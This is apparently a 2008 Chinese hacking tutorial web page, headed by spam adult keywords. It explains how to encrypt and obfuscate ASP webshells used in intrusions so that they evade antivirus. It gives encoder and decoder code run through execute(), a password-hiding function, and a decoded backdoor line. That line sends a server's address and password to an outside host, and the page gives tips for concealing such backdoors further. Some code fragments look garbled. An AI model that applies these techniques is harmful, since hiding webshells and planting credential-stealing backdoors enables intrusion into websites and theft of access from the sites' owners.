亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

給你的大馬加密的實(shí)用方法

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:02:25   作者:佚名   我要評(píng)論
大家在入侵中應(yīng)該是撿到過別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了,打開時(shí)候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密
保存為html格式然后用IE打開,將需要加密的部分填寫上,然后點(diǎn)擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。   上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如:   Sub RRS(str)   response.write(str)   End Sub   加密后就為   buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS   寫了加密函數(shù)后就要寫出對(duì)于的解密函數(shù),必須用ASP編寫 dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鵬" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
  這樣我們就可以將ASP中的RRS函數(shù)用   execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS"))   代替掉   Sub RRS(str)   response.write(str)   End Sub   我們可以利用這個(gè)加密函數(shù)加密多處,這樣多加密一般可以免殺大馬   (2)加密解密函數(shù)   直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個(gè)函數(shù)來加密我們的加密函數(shù),這樣就難找一點(diǎn)了,這主要是為了保護(hù)我們的馬,對(duì)于上面我們的解密函數(shù),我們可以再寫一個(gè)加密函數(shù),然后調(diào)用execute來,這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會(huì)明文出現(xiàn)在webshell里了   (3)嵌套加密   我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過這樣我們需要對(duì)應(yīng)的寫出多個(gè)解密函數(shù),這樣加密比較側(cè)地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa)   2.密碼的加密   大家是否遇見過webshell的密碼是很長(zhǎng)的數(shù)字,20多位或30多位。這就是對(duì)密碼加密了的,通過對(duì)密碼加密,可以防止別人通過查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個(gè)對(duì)密碼加密的函數(shù)。 Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1)) Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
     上面的這個(gè)加密函數(shù)是對(duì)每一位密碼的數(shù)字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結(jié)果是novaa   然后我們把解密后的部分定義為UserPass   然后在驗(yàn)證的地方通過   enPass(request.form("pass"),pn)=UserPass 來進(jìn)行身份驗(yàn)證,當(dāng)然,通過修改密碼的驗(yàn)證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個(gè)webshell了。   3.后門的隱藏技術(shù)   怎么隱藏后門?其實(shí)主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門來解釋 RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&Serveru&"&p="&UserPass&"')"">"
這個(gè)和幽月的后門隱藏技術(shù)差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。   1.我們查找后門的時(shí)候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個(gè)變量canyou,然后把&p="&UserPass&"換為&p="&canyou&"   2.我們可以利用webshell里面自帶的常量來代替http,以為http也是經(jīng)常用來找后門的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數(shù)來取得Sot(13,0) 右邊的4個(gè)字符,然后代替后門中的HTTP   二:工具加密   利用微軟的腳本加密工具screnc.exe對(duì)我們初步加密的webshell進(jìn)行再次的加密,這樣我們的webshell就完全成了一堆亂碼了   有了上面的加密知識(shí),相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門了。

相關(guān)文章

最新評(píng)論